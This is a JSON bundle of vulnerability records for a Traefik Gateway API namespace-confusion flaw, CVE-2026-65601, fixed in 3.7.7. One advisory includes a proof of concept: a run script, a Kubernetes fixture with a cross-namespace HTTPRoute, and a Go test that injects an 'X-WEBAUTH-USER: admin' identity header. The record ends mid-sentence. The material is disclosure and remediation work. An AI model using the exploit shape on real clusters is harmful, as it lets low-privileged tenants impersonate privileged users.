{"id":"EUVD-2026-47645","revision":null,"records":[{"revision":"5f35bcaa4bfe4ac1a4a3c064b48698fb","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-65601","aliases":[],"title":"Traefik before 3.7.7 Namespace Confusion via HTTPRoute ExtensionRef","description":"Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware, potentially injecting trusted reverse-proxy identity headers into downstream requests. The issue is fixed in version 3.7.7.","state":0,"publishedAt":"2026-07-22T11:21:47.468+00:00","modifiedAt":"2026-10-08T15:51:40.148+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/traefik/traefik/v3\",\n                    \"versions\": [\n                        {\n                            \"version\": \"3.7.0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.7.7\"\n                        },\n                        {\n                            \"version\": \"3.7.7\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":5.3,"severity":"MEDIUM"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj","https://github.com/traefik/traefik/commit/26c96a3935cafb473f4a5bae1886560d9aa4e4f0","https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-65601","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-65601","identifiers":["CVE-2026-65601"]},"retained":false,"historicalAffected":[]},{"revision":"2a2a1e7974b74147931a4e39bd3db041","observedAt":"2026-11-09T14:14:54.939+00:00","statement":{"source":"euvd","id":"EUVD-2026-47645","aliases":["CVE-2026-65601","GHSA-6mxq-jr92-3h2r","GHSA-qq9q-x9w4-chhj"],"title":"Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace …","description":"Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware, potentially injecting trusted reverse-proxy identity headers into downstream requests. The issue is fixed in version 3.7.7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":5.3,"severity":null}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj","https://github.com/traefik/traefik/commit/26c96a3935cafb473f4a5bae1886560d9aa4e4f0","https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-47645","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 22, 2026, 11:21:47 AM","dateUpdated":"Oct 8, 2026, 3:51:40 PM"},"relatedAdvisories":[{"id":"RHSA-2026:62260","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.","vulnerabilityIds":["CVE-2025-55163","CVE-2026-8286","CVE-2026-9277","CVE-2026-9547","CVE-2026-9563","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-15075","CVE-2026-15076","CVE-2026-27136","CVE-2026-34986","CVE-2026-39820","CVE-2026-39831","CVE-2026-39835","CVE-2026-40898","CVE-2026-40983","CVE-2026-40984","CVE-2026-41242","CVE-2026-41695","CVE-2026-41716","CVE-2026-42264","CVE-2026-42499","CVE-2026-44705","CVE-2026-45149","CVE-2026-45416","CVE-2026-45623","CVE-2026-45674","CVE-2026-46597","CVE-2026-46681","CVE-2026-47691","CVE-2026-48020","CVE-2026-48068","CVE-2026-48491","CVE-2026-49978","CVE-2026-50010","CVE-2026-50193","CVE-2026-53488","CVE-2026-53492","CVE-2026-53622","CVE-2026-54399","CVE-2026-54428","CVE-2026-54512","CVE-2026-54513","CVE-2026-54763","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-59296","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59877","CVE-2026-59888","CVE-2026-59899","CVE-2026-65600","CVE-2026-65601","CVE-2026-67213","CVE-2026-67214","CVE-2026-68494","CVE-2026-69152","CVE-2026-69153","CVE-2026-73086","CVE-2026-73566","CVE-2026-73646","CVE-2026-75838"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-47645","identifiers":["EUVD-2026-47645","CVE-2026-65601","GHSA-6mxq-jr92-3h2r","GHSA-qq9q-x9w4-chhj"]},"retained":false,"historicalAffected":[]},{"revision":"5cb345148a0540d5ab4ad0066a83f735","observedAt":"2026-10-25T15:18:45.851+00:00","statement":{"source":"nvd","id":"CVE-2026-65601","aliases":[],"title":"Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace …","description":"Traefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware, potentially injecting trusted reverse-proxy identity headers into downstream requests. The issue is fixed in version 3.7.7.","state":0,"publishedAt":"2026-07-22T12:18:20.43+00:00","modifiedAt":"2026-10-08T16:17:29.01+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":5.3,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/commit/26c96a3935cafb473f4a5bae1886560d9aa4e4f0","https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj","https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65601","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-863"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-22T12:18:20.430","lastModified":"2026-10-08T16:17:29.010"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-65601","identifiers":["CVE-2026-65601"]},"retained":false,"historicalAffected":[]},{"revision":"b86c2a1568e04793aec3b0d1ef5e7ead","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-6mxq-jr92-3h2r","aliases":[],"title":"Duplicate Advisory: Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00A0GHSA-qq9q-x9w4-chhj. This link is maintained to preserve external references.\n\n## Original Description\nTraefik versions 3.7.0 through 3.7.6 contain a namespace confusion vulnerability in the Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware, potentially injecting trusted reverse-proxy identity headers into downstream requests. The issue is fixed in version 3.7.7.","state":2,"publishedAt":"2026-07-22T12:32:18+00:00","modifiedAt":"2026-08-05T22:01:01.3045458+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj","https://nvd.nist.gov/vuln/detail/CVE-2026-65601","https://github.com/traefik/traefik/commit/26c96a3935cafb473f4a5bae1886560d9aa4e4f0","https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"],"sourceUrl":"https://github.com/advisories/GHSA-6mxq-jr92-3h2r","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6mxq-jr92-3h2r","identifiers":["GHSA-6mxq-jr92-3h2r"]},"retained":false,"historicalAffected":[]},{"revision":"677f2d5734444d8688bb96ba594924ea","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qq9q-x9w4-chhj","aliases":["CVE-2026-65601","GO-2026-6198"],"title":"Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion","description":"## Summary\n\nThere is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving `HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef`, Traefik used the backend Service namespace instead of the `HTTPRoute` namespace. A low-privileged route author holding a `ReferenceGrant` for a cross-namespace Service could therefore bind a Traefik `Middleware` from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves `extensionRef` against the `HTTPRoute` namespace.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\n\nTraefik's Kubernetes Gateway API provider resolves\n`HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef` in the backend\nService namespace instead of the `HTTPRoute` namespace. A low-privileged route\nauthor with a permitted cross-namespace Service reference can therefore bind a\nTraefik `Middleware` from the backend namespace without a separate grant for\nthat middleware. If the reused middleware sets trusted reverse-proxy identity\nheaders, downstream applications can receive attacker-selected authenticated\nidentity state.\n\n## Description\n\nGateway API `ReferenceGrant` allows a namespace owner to grant a route in\nanother namespace permission to reference a specific backend object, such as a\n`Service`. That grant should not implicitly authorize the route author to bind\nother policy objects in the backend namespace.\n\nIn the affected code path, Traefik copies `backendRef.namespace` into a local\n`namespace` variable. It correctly uses that namespace to validate and load the\nbackend `Service`, but then reuses the same namespace when resolving\n`backendRef.filters[].extensionRef`. For Traefik CRD `Middleware` extension\nfilters, the CRD provider turns `(namespace, name)` into a dynamic middleware\nreference such as:\n\n```text\nplatform-privileged-auth-header@kubernetescrd\n```\n\nAs a result, a tenant route in `tenant-a` can bind a middleware named\n`privileged-auth-header` from the backend namespace `platform`, even though the\nGateway API `ReferenceGrant` only granted access to `platform/protected-api`\n`Service`.\n\n## Impact\n\nThe PoC demonstrates that an attacker-authored `HTTPRoute` can cause Traefik to\nattach a backend-namespace `Headers` middleware to the generated backend\nservice. The middleware injects:\n\n```text\nX-WEBAUTH-USER: admin\n```\n\nThat is a realistic downstream primitive because many applications support\ntrusted reverse-proxy authentication headers when deployed behind a gateway.\nSeparate Docker validation showed this header-auth class can map to\nauthenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus\nRepository when those products are intentionally configured for reverse-proxy\nauthentication.\n\nThis is not a bug in those downstream applications and this PoC does not claim\ndirect Traefik host RCE, sandbox escape, private-key exfiltration, or default\ncluster takeover. The Traefik vulnerability is unauthorized middleware binding\nacross a Gateway API namespace boundary.\n\n## Proof Of Concept\n\n### Files\n\n<details>\n<summary>run.sh</summary>\n\n```bash\n#!/usr/bin/env sh\nset -eu\n\nTARGET_REF=\"${TARGET_REF:-v3.7.5}\"\nREPO_URL=\"${REPO_URL:-https://github.com/traefik/traefik.git}\"\nSCRIPT_DIR=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\"\nWORKDIR=\"${WORKDIR:-$(mktemp -d \"${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX\")}\"\n\nif [ \"${KEEP_WORKDIR:-0}\" != \"1\" ]; then\n\ttrap 'rm -rf \"$WORKDIR\"' EXIT INT TERM\nfi\n\nprintf '[*] target_ref=%s\\n' \"$TARGET_REF\"\nprintf '[*] workdir=%s\\n' \"$WORKDIR\"\n\nif [ -n \"${TRAEFIK_SRC:-}\" ]; then\n\tprintf '[*] cloning from local source: %s\\n' \"$TRAEFIK_SRC\"\n\tgit clone -q \"$TRAEFIK_SRC\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\n\tgit -c advice.detachedHead=false checkout -q \"$TARGET_REF\"\nelse\n\tprintf '[*] cloning from remote: %s\\n' \"$REPO_URL\"\n\tgit -c advice.detachedHead=false clone -q --depth 1 --branch \"$TARGET_REF\" \"$REPO_URL\" \"$WORKDIR/traefik\"\n\tcd \"$WORKDIR/traefik\"\nfi\n\nmkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute\ncp \"$SCRIPT_DIR/poc_gateway_extensionref_test.go\" \\\n\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\ncp \"$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml\" \\\n\tpkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml\n\nif grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then\n\tsed -i \\\n\t\t-e 's/conf := p\\.loadConfigurationFromGateways(t\\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \\\n\t\t-e 's/require\\.NotNil(t, conf)/require.NoError(t, err)/' \\\n\t\tpkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go\nfi\n\nprintf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\\n'\ngo test ./pkg/provider/kubernetes/gateway \\\n\t-run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \\\n\t-count=1 -v\n\nprintf 'POC_RESULT=PASS\\n'\n```\n\n</details>\n\n<details>\n<summary>backendref_extension_filter_cross_namespace_poc.yml</summary>\n\n```yaml\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: protected-api\n  namespace: platform\nspec:\n  ports:\n    - name: web\n      protocol: TCP\n      port: 80\n      targetPort: web\n\n---\nkind: EndpointSlice\napiVersion: discovery.k8s.io/v1\nmetadata:\n  name: protected-api-abc\n  namespace: platform\n  labels:\n    kubernetes.io/service-name: protected-api\naddressType: IPv4\nports:\n  - name: web\n    port: 8080\nendpoints:\n  - addresses:\n      - 10.10.20.10\n    conditions:\n      ready: true\n\n---\nkind: GatewayClass\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway-class\nspec:\n  controllerName: traefik.io/gateway-controller\n\n---\nkind: Gateway\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: shared-gateway\n  namespace: infra\nspec:\n  gatewayClassName: shared-gateway-class\n  listeners:\n    - name: http\n      protocol: HTTP\n      port: 80\n      allowedRoutes:\n        kinds:\n          - kind: HTTPRoute\n            group: gateway.networking.k8s.io\n        namespaces:\n          from: All\n\n---\nkind: ReferenceGrant\napiVersion: gateway.networking.k8s.io/v1beta1\nmetadata:\n  name: allow-tenant-route-to-service\n  namespace: platform\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: tenant-a\n  to:\n    - group: \"\"\n      kind: Service\n      name: protected-api\n\n---\nkind: HTTPRoute\napiVersion: gateway.networking.k8s.io/v1\nmetadata:\n  name: tenant-route\n  namespace: tenant-a\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: infra\n      kind: Gateway\n      group: gateway.networking.k8s.io\n  hostnames:\n    - attacker.example\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /\n      backendRefs:\n        - name: protected-api\n          namespace: platform\n          port: 80\n          kind: Service\n          group: \"\"\n          filters:\n            - type: ExtensionRef\n              extensionRef:\n                group: traefik.io\n                kind: Middleware\n                name: privileged-auth-header\n```\n\n</details>\n\n<details>\n<summary>poc_gateway_extensionref_test.go</summary>\n\n```go\npackage gateway\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/traefik/traefik/v3/pkg/config/dynamic\"\n\t\"github.com/traefik/traefik/v3/pkg/middlewares/headers\"\n\ttraefikv1alpha1 \"github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1\"\n\tkubefake \"k8s.io/client-go/kubernetes/fake\"\n)\n\nfunc TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t *testing.T) {\n\tk8sObjects, gwObjects := readResources(t, []string{\"httproute/backendref_extension_filter_cross_namespace_poc.yml\"})\n\n\tkubeClient := kubefake.NewClientset(k8sObjects...)\n\tgwClient := newGatewaySimpleClientSet(t, gwObjects...)\n\n\tclient := newClientImpl(kubeClient, gwClient)\n\teventCh, err := client.WatchAll(nil, make(chan struct{}))\n\trequire.NoError(t, err)\n\tif len(k8sObjects) > 0 || len(gwObjects) > 0 {\n\t\t<-eventCh\n\t}\n\n\tvar resolvedRefs []string\n\tp := Provider{\n\t\tEntryPoints: map[string]Entrypoint{\"web\": {Address: \":80\"}},\n\t\tclient:      client,\n\t}\n\n\tp.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\t\tresolvedRefs = append(resolvedRefs, namespace+\"/\"+name)\n\t\treturn namespace + \"-\" + name + \"@kubernetescrd\", &dynamic.Middleware{\n\t\t\tHeaders: &dynamic.Headers{\n\t\t\t\tCustomRequestHeaders: map[string]string{\n\t\t\t\t\t\"X-WEBAUTH-USER\": \"admin\",\n\t\t\t\t},\n\t\t\t},\n\t\t}, nil\n\t})\n\n\tconf := p.loadConfigurationFromGateways(t.Context())\n\trequire.NotNil(t, conf)\n\n\tvar serviceConfig *dynamic.Service\n\tfor _, service := range conf.HTTP.Services {\n\t\tfor _, middlewareRef := range service.Middlewares {\n\t\t\tif middlewareRef == \"platform-privileged-auth-header@kubernetescrd\" {\n\t\t\t\tserviceConfig = service\n\t\t\t}\n\t\t}\n\t}\n\n\trequire.Contains(t, resolvedRefs, \"platform/privileged-auth-header\")\n\trequire.Contains(t, conf.HTTP.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\trequire.NotNil(t, serviceConfig)\n\trequire.Contains(t, serviceConfig.Middlewares, \"platform-privileged-auth-header@kubernetescrd\")\n\n\tseenUser := make(chan string, 1)\n\tbackend := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {\n\t\tseenUser <- req.Header.Get(\"X-WEBAUTH-USER\")\n\t\trw.WriteHeader(http.StatusOK)\n\t})\n\n\thandler, err := headers.NewHeader(backend, *conf.HTTP.Middlewares[\"platform-privileged-auth-header@kubernetescrd\"].Headers)\n\trequire.NoError(t, err)\n\n\trecorder := httptest.NewRecorder()\n\thandler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, \"http://attacker.example/\", nil))\n\n\tassert.Equal(t, http.StatusOK, recorder.Code)\n\tassert.Equal(t, \"admin\", <-seenUser)\n\tt.Logf(\"POC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=%q middleware=%q injected_header=%q\",\n\t\t\"platform\", \"platform-privileged-auth-header@kubernetescrd\", \"X-WEBAUTH-USER: admin\")\n}\n```\n\n</details>\n\n### Requirements\n\n- `git`\n- Go toolchain compatible with the target Traefik tag. `v3.7.5` uses\n  `go 1.25.0`.\n- Network access to clone `https://github.com/traefik/traefik.git` and download\n  Go modules on first run.\n\nNo local Traefik checkout or Kubernetes cluster is required by default.\n\n### Run\n\n```sh\n./run.sh\n```\n\nOptional target override:\n\n```sh\nTARGET_REF=v3.7.0 ./run.sh\n```\n\nOptional local-source override for faster validation:\n\n```sh\nTRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh\n```\n\n### Expected Result\n\nThe run should end with:\n\n```text\nPOC_RESULT_DETAIL=backend_extension_ref_resolved_namespace=\"platform\" middleware=\"platform-privileged-auth-header@kubernetescrd\" injected_header=\"X-WEBAUTH-USER: admin\"\nPOC_RESULT=PASS\n```\n\n## Root Cause\n\nLine numbers below are from:\n\n```text\nrepository: https://github.com/traefik/traefik\ntag:        v3.7.5\ncommit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0\n```\n\n### 1. Route-level filters use the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:143-144`\n\n```go\n// TODO loadMiddlewares errors could change the condition.\nrouter.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)\n```\n\nFor filters directly on `HTTPRoute.rules[]`, Traefik resolves extension filters\nrelative to `route.Namespace`. This matches the Gateway API\n`LocalObjectReference` model.\n\n### 2. BackendRef namespace overwrites the route namespace\n\n`pkg/provider/kubernetes/gateway/httproute.go:240-243`\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil && *backendRef.Namespace != \"\" {\n\tnamespace = string(*backendRef.Namespace)\n```\n\nFor a cross-namespace backend Service, `namespace` becomes the backend\nnamespace, for example `platform`.\n\n### 3. ReferenceGrant checks only the backend object\n\n`pkg/provider/kubernetes/gateway/httproute.go:258-266`\n\n```go\nif err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil {\n\treturn serviceName, &metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n\t\tReason:             string(gatev1.RouteReasonRefNotPermitted),\n```\n\nThis validates permission to reference the backend object, such as\n`platform/protected-api` `Service`.\n\n### 4. The backend namespace is reused for backendRef filters\n\n`pkg/provider/kubernetes/gateway/httproute.go:269-277`\n\n```go\nmiddlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)\nif err != nil {\n\treturn serviceName, &metav1.Condition{\n\t\tType:               string(gatev1.RouteConditionResolvedRefs),\n\t\tStatus:             metav1.ConditionFalse,\n\t\tObservedGeneration: route.Generation,\n\t\tLastTransitionTime: metav1.Now(),\n```\n\nThe same `namespace` variable now points to the backend namespace. Therefore an\n`ExtensionRef` inside `backendRef.filters[]` is resolved as\n`platform/<middleware-name>` instead of `tenant-a/<middleware-name>`.\n\n### 5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider\n\n`pkg/provider/kubernetes/crd/kubernetes.go:169-175`\n\n```go\nregistry.RegisterFilterFuncs(traefikv1alpha1.GroupName, \"Middleware\", func(name, namespace string) (string, *dynamic.Middleware, error) {\n\tif len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) {\n\t\treturn \"\", nil, fmt.Errorf(\"namespace %q is not allowed\", namespace)\n\t}\n\n\treturn makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil\n```\n\nThe namespace passed from `loadMiddlewares()` decides which CRD `Middleware`\nobject becomes part of the dynamic service configuration.\n\n### 6. Service-level middlewares are applied at runtime\n\n`pkg/server/service/service.go:186-194`\n\n```go\nif len(conf.Middlewares) > 0 {\n\tif m.middlewareChainBuilder == nil {\n\t\t// This should happen only in tests.\n\t\treturn nil, errors.New(\"chain builder not defined\")\n\t}\n\tchain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares)\n\toriginalLB := lb\n\tvar err error\n\tlb, err = chain.Then(lb)\n```\n\nThe unauthorized middleware reference is not merely stored. Traefik applies\nservice-level middlewares to the backend load balancer handler during normal\nHTTP service construction.\n\n## Minimal Exploit Shape\n\nThe PoC fixture contains the essential object graph:\n\n```text\ntenant-a/HTTPRoute\n  -> backendRef namespace: platform, name: protected-api\n  -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header\n\nplatform/ReferenceGrant\n  -> allows tenant-a HTTPRoute to reference platform/protected-api Service only\n\nplatform/protected-api Service\n\nTraefik resolves the ExtensionRef as:\n  platform/privileged-auth-header\n```\n\nIn a real affected deployment, if `platform/privileged-auth-header` sets a\ntrusted identity header, requests sent through the tenant route can reach the\nbackend with that header injected by Traefik.\n\n## Workarounds\n\n- Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects\n  to shared Gateways that route to sensitive backends.\n- Do not place privileged or identity-bearing Traefik `Middleware` objects in\n  namespaces that can be reached by untrusted cross-namespace `HTTPRoute`\n  backend references.\n- Prefer route-local filters and explicitly audit\n  `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage.\n- Strip trusted reverse-proxy identity headers at backend application\n  boundaries unless they originate from a dedicated authentication gateway.\n\n## Scope Boundary\n\nExploitation requires low-privileged route-author capability in a Kubernetes\nGateway API deployment. A remote unauthenticated web client without\n`HTTPRoute` authoring capability cannot create the malicious route. If the\nshared Gateway is internet-facing, the final request that triggers the\nunauthorized middleware can be sent over the public network after the route is\ncreated.\n\n</details>\n\n---","state":0,"publishedAt":"2026-08-05T21:49:19+00:00","modifiedAt":"2026-08-18T15:10:54.3573238+00:00","affected":[{"ecosystem":"Go","name":"Traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj","https://nvd.nist.gov/vuln/detail/CVE-2026-65601","https://github.com/traefik/traefik/pull/13462","https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9","https://github.com/traefik/traefik","https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"],"sourceUrl":"https://github.com/advisories/GHSA-qq9q-x9w4-chhj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qq9q-x9w4-chhj","identifiers":["GHSA-qq9q-x9w4-chhj","CVE-2026-65601","GO-2026-6198"]},"retained":false,"historicalAffected":[]},{"revision":"8cedc2a4fabb47759f6d0af3f92f4a4c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6198","aliases":["CVE-2026-65601","GHSA-qq9q-x9w4-chhj"],"title":"Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion","description":"Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/traefik/traefik from v3.7.0 before 